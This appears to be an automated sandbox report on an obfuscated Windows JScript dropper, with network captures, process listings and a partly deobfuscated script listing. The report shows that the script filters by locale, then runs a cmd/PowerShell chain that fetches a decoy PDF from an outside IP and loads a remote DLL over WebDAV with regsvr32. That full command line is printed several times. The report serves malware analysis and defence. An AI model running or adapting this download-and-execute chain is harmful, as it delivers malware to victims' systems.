Jan 11, 2025 06:43:11.876327038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:12.308722019 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:12.313656092 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:12.313772917 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:12.313966036 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:12.318703890 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:13.102772951 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:13.149785995 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:13.459110975 CET	49701	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:43:19.984525919 CET	50727	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:43:19.984525919 CET	192.168.2.7	1.1.1.1	0xf34c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:43:19.991254091 CET	1.1.1.1	192.168.2.7	0xf34c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:43:20.726603031 CET	1.1.1.1	192.168.2.7	0xaa66	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:43:20.726603031 CET	1.1.1.1	192.168.2.7	0xaa66	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	5428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:09.240499973 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:43:10.066807032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:43:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:43:10.066847086 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:43:10.066873074 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:43:10.066884995 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:43:10.066895962 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:43:10.066911936 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:43:10.066925049 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:43:10.066937923 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:43:10.066951036 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:43:10.066962957 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 06:43:10.071743011 CET	328	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	5820	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:12.313966036 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:43:13.102772951 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:43:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	2
Start time:	00:43:04
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js"
Imagebase:	0x7ff7f7e10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Imagebase:	0x7ff783350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:43:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:43:11
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff783350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:43:11
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff635e40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:43:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	00:43:12
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	00:43:12
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3447419022261847534,11852108957560881175,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sstdlus() {	sstdlus() ➔ undefined
1	ixlmbb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nqyqvnlt = this[frpjkqtr + dzrmsp + ygtxx + mrqlpk + fpkjbgkl + bpdjy + jlxtlvqk + ptgjut] ( this[ksmfsufqg + hyzghcch + odubi + ygtxx + rzcpuo + frpjkqtr + ptgjut][teevisp + ygtxx + fpkjbgkl + dzrmsp + ptgjut + fpkjbgkl + pkgjnab + qbetj + gdrmctdp + fpkjbgkl + odubi + ptgjut] ( ksmfsufqg + hyzghcch + odubi + ygtxx + rzcpuo + frpjkqtr + ptgjut + tqrwy + hyzghcch + abcnel + fpkjbgkl + cuqeriv + cuqeriv ) [fzdrmip + fpkjbgkl + ssstmblzz + fzdrmip + fpkjbgkl + dzrmsp + quxjlmfv] ( swuog + yhcnypr + anpqa + ojsvkpc + wzvpyegzo + teevisp + drqjcjf + fzdrmip + fzdrmip + anpqa + wiqustey + jvmgza + wzvpyegzo + drqjcjf + hyzghcch + anpqa + fzdrmip + molzdkken + teevisp + cbvewam + jlxtlvqk + ptgjut + ygtxx + cbvewam + cuqeriv + ldhbs + rtzcq + dzrmsp + jlxtlvqk + fpkjbgkl + cuqeriv + molzdkken + bpdjy + jlxtlvqk + ptgjut + fpkjbgkl + ygtxx + jlxtlvqk + dzrmsp + ptgjut + rzcpuo + cbvewam + jlxtlvqk + dzrmsp + cuqeriv + molzdkken + hncjsm + cbvewam + odubi + dzrmsp + cuqeriv + fpkjbgkl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( thaitujxj = 0 ; thaitujxj < ixlmbb[cuqeriv + fpkjbgkl + jlxtlvqk + ssstmblzz + ptgjut + abcnel] ; ++ thaitujxj )
4	{
5	if ( nqyqvnlt == ixlmbb[thaitujxj] )
6	{
7	nqyqvnlt = true;
8	break ;
9	}
10	}
11	if ( nqyqvnlt !== true )
12	this[ksmfsufqg + hyzghcch + odubi + ygtxx + rzcpuo + frpjkqtr + ptgjut][kmxzwyhg + dtxoygmpi + rzcpuo + ptgjut] ( );
13	this[ksmfsufqg + hyzghcch + odubi + ygtxx + rzcpuo + frpjkqtr + ptgjut][teevisp + ygtxx + fpkjbgkl + dzrmsp + ptgjut + fpkjbgkl + pkgjnab + qbetj + gdrmctdp + fpkjbgkl + odubi + ptgjut] ( ksmfsufqg + hyzghcch + odubi + ygtxx + rzcpuo + frpjkqtr + ptgjut + tqrwy + hyzghcch + abcnel + fpkjbgkl + cuqeriv + cuqeriv ) [ygtxx + dtxoygmpi + jlxtlvqk] ( odubi + wfocxxsvu + quxjlmfv + ldhbs + pilkty + odubi + ldhbs + frpjkqtr + cbvewam + gkxau + fpkjbgkl + ygtxx + mrqlpk + abcnel + fpkjbgkl + cuqeriv + cuqeriv + tqrwy + fpkjbgkl + gssfhbvqu + fpkjbgkl + ldhbs + mbayi + teevisp + cbvewam + wfocxxsvu + wfocxxsvu + dzrmsp + jlxtlvqk + quxjlmfv + ldhbs + rzzflegjc + bpdjy + jlxtlvqk + skptpayy + cbvewam + srpuhcoye + fpkjbgkl + mbayi + ksmfsufqg + fpkjbgkl + qbetj + fzdrmip + fpkjbgkl + lkuudu + dtxoygmpi + fpkjbgkl + mrqlpk + ptgjut + ldhbs + mbayi + pkgjnab + dtxoygmpi + ptgjut + ctlpjqik + rzcpuo + cuqeriv + fpkjbgkl + ldhbs + pxfper + ptgjut + fpkjbgkl + wfocxxsvu + frpjkqtr + pxfper + molzdkken + rzcpuo + jlxtlvqk + skptpayy + cbvewam + rzcpuo + odubi + fpkjbgkl + tqrwy + frpjkqtr + quxjlmfv + ogtzqer + ldhbs + abcnel + ptgjut + ptgjut + frpjkqtr + qyxbknooz + pilkty + pilkty + rcwipcx + kbkzlesyy + hldqs + tqrwy + rcwipcx + atuob + hldqs + tqrwy + rcwipcx + tqrwy + kiuddch + mzcyxoxa + uiigw + pilkty + rzcpuo + jlxtlvqk + skptpayy + cbvewam + rzcpuo + odubi + fpkjbgkl + tqrwy + frpjkqtr + abcnel + frpjkqtr + rzzflegjc + tjrek + tjrek + mrqlpk + ptgjut + dzrmsp + ygtxx + ptgjut + ldhbs + pxfper + ptgjut + fpkjbgkl + wfocxxsvu + frpjkqtr + pxfper + molzdkken + rzcpuo + jlxtlvqk + skptpayy + cbvewam + rzcpuo + odubi + fpkjbgkl + tqrwy + frpjkqtr + quxjlmfv + ogtzqer + tjrek + tjrek + odubi + wfocxxsvu + quxjlmfv + ldhbs + pilkty + odubi + ldhbs + jlxtlvqk + fpkjbgkl + ptgjut + ldhbs + dtxoygmpi + mrqlpk + fpkjbgkl + ldhbs + molzdkken + molzdkken + rcwipcx + kbkzlesyy + hldqs + tqrwy + rcwipcx + atuob + hldqs + tqrwy + rcwipcx + tqrwy + kiuddch + mzcyxoxa + uiigw + ufjfo + pchpxwwlb + pchpxwwlb + pchpxwwlb + pchpxwwlb + molzdkken + quxjlmfv + dzrmsp + skptpayy + gkxau + gkxau + gkxau + ygtxx + cbvewam + cbvewam + ptgjut + molzdkken + tjrek + tjrek + odubi + wfocxxsvu + quxjlmfv + ldhbs + pilkty + odubi + ldhbs + ygtxx + fpkjbgkl + ssstmblzz + mrqlpk + skptpayy + ygtxx + hldqs + kiuddch + ldhbs + pilkty + mrqlpk + ldhbs + molzdkken + molzdkken + rcwipcx + kbkzlesyy + hldqs + tqrwy + rcwipcx + atuob + hldqs + tqrwy + rcwipcx + tqrwy + kiuddch + mzcyxoxa + uiigw + ufjfo + pchpxwwlb + pchpxwwlb + pchpxwwlb + pchpxwwlb + molzdkken + quxjlmfv + dzrmsp + skptpayy + gkxau + gkxau + gkxau + ygtxx + cbvewam + cbvewam + ptgjut + molzdkken + kiuddch + kbkzlesyy + uiigw + kbkzlesyy + rcwipcx + kiuddch + rcwipcx + atuob + uiigw + hldqs + kiuddch + kbkzlesyy + rcwipcx + uiigw + pchpxwwlb + tqrwy + quxjlmfv + cuqeriv + cuqeriv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll",0,false) ➔ 0
14	}
15	uiigw = "W";
16	uiigw = "n";
17	uiigw = "s";
18	uiigw = "D";
19	uiigw = "h";
20	uiigw = "X";
21	uiigw = "E";
22	uiigw = "a";
23	uiigw = "y";
24	uiigw = "h";
25	uiigw = "5";
26	qyxbknooz = "y";
27	qyxbknooz = "d";
28	qyxbknooz = "G";
29	qyxbknooz = "o";
30	qyxbknooz = "A";
31	qyxbknooz = "H";
32	qyxbknooz = "g";
33	qyxbknooz = "i";
34	qyxbknooz = "H";
35	qyxbknooz = "k";
36	qyxbknooz = "l";
37	qyxbknooz = "P";
38	qyxbknooz = "l";
39	qyxbknooz = "s";
40	qyxbknooz = "g";
41	qyxbknooz = "Q";
42	qyxbknooz = "a";
43	qyxbknooz = "N";
44	qyxbknooz = "X";
45	qyxbknooz = "S";
46	qyxbknooz = "B";
47	qyxbknooz = "B";
48	qyxbknooz = "A";
49	qyxbknooz = "p";
50	qyxbknooz = "U";
51	qyxbknooz = "g";
52	qyxbknooz = "J";
53	qyxbknooz = "v";
54	qyxbknooz = "k";
55	qyxbknooz = "u";
56	qyxbknooz = "P";
57	qyxbknooz = "p";
58	qyxbknooz = "i";
59	qyxbknooz = "E";
60	qyxbknooz = "F";
61	qyxbknooz = "M";
62	qyxbknooz = "D";
63	qyxbknooz = "q";
64	qyxbknooz = "e";
65	qyxbknooz = "m";
66	qyxbknooz = ":";
67	pkgjnab = "n";
68	pkgjnab = "Y";
69	pkgjnab = "I";
70	pkgjnab = "I";
71	pkgjnab = "w";
72	pkgjnab = "I";
73	pkgjnab = "a";
74	pkgjnab = "p";
75	pkgjnab = "v";
76	pkgjnab = "J";
77	pkgjnab = "Q";
78	pkgjnab = "A";
79	pkgjnab = "E";
80	pkgjnab = "g";
81	pkgjnab = "f";
82	pkgjnab = "l";
83	pkgjnab = "E";
84	pkgjnab = "D";
85	pkgjnab = "N";
86	pkgjnab = "h";
87	pkgjnab = "J";
88	pkgjnab = "c";
89	pkgjnab = "J";
90	pkgjnab = "U";
91	pkgjnab = "i";
92	pkgjnab = "N";
93	pkgjnab = "r";
94	pkgjnab = "u";
95	pkgjnab = "I";
96	pkgjnab = "R";
97	pkgjnab = "M";
98	pkgjnab = "B";
99	pkgjnab = "I";
100	pkgjnab = "w";
101	pkgjnab = "g";
102	pkgjnab = "O";
103	atuob = "I";
104	atuob = "g";
105	atuob = "f";
106	atuob = "V";
107	atuob = "F";
108	atuob = "Y";
109	atuob = "S";
110	atuob = "r";
111	atuob = "u";
112	atuob = "T";
113	atuob = "I";
114	atuob = "z";
115	atuob = "G";
116	atuob = "g";
117	atuob = "J";
118	atuob = "i";
119	atuob = "D";
120	atuob = "g";
121	atuob = "r";
122	atuob = "g";
123	atuob = "Q";
124	atuob = "w";
125	atuob = "U";
126	atuob = "4";
127	kmxzwyhg = "b";
128	kmxzwyhg = "a";
129	kmxzwyhg = "B";
130	kmxzwyhg = "f";
131	kmxzwyhg = "A";
132	kmxzwyhg = "L";
133	kmxzwyhg = "r";
134	kmxzwyhg = "f";
135	kmxzwyhg = "F";
136	kmxzwyhg = "i";
137	kmxzwyhg = "r";
138	kmxzwyhg = "E";
139	kmxzwyhg = "J";
140	kmxzwyhg = "E";
141	kmxzwyhg = "q";
142	kmxzwyhg = "y";
143	kmxzwyhg = "n";
144	kmxzwyhg = "o";
145	kmxzwyhg = "Z";
146	kmxzwyhg = "n";
147	kmxzwyhg = "Z";
148	kmxzwyhg = "E";
149	kmxzwyhg = "E";
150	kmxzwyhg = "C";
151	kmxzwyhg = "g";
152	kmxzwyhg = "Q";
153	kmxzwyhg = "I";
154	kmxzwyhg = "o";
155	kmxzwyhg = "o";
156	kmxzwyhg = "a";
157	kmxzwyhg = "E";
158	kmxzwyhg = "l";
159	kmxzwyhg = "f";
160	kmxzwyhg = "V";
161	kmxzwyhg = "Q";
162	ldhbs = "T";
163	ldhbs = "j";
164	ldhbs = "T";
165	ldhbs = "y";
166	ldhbs = "c";
167	ldhbs = "Z";
168	ldhbs = "Q";
169	ldhbs = "j";
170	ldhbs = "O";
171	ldhbs = "n";
172	ldhbs = "x";
173	ldhbs = "g";
174	ldhbs = "Q";
175	ldhbs = "I";
176	ldhbs = "s";
177	ldhbs = "S";
178	ldhbs = "i";
179	ldhbs = "a";
180	ldhbs = "x";
181	ldhbs = "f";
182	ldhbs = "L";
183	ldhbs = "M";
184	ldhbs = "v";
185	ldhbs = "U";
186	ldhbs = "A";
187	ldhbs = "C";
188	ldhbs = "Q";
189	ldhbs = "i";
190	ldhbs = "b";
191	ldhbs = "P";
192	ldhbs = " ";
193	quxjlmfv = "f";
194	quxjlmfv = "v";
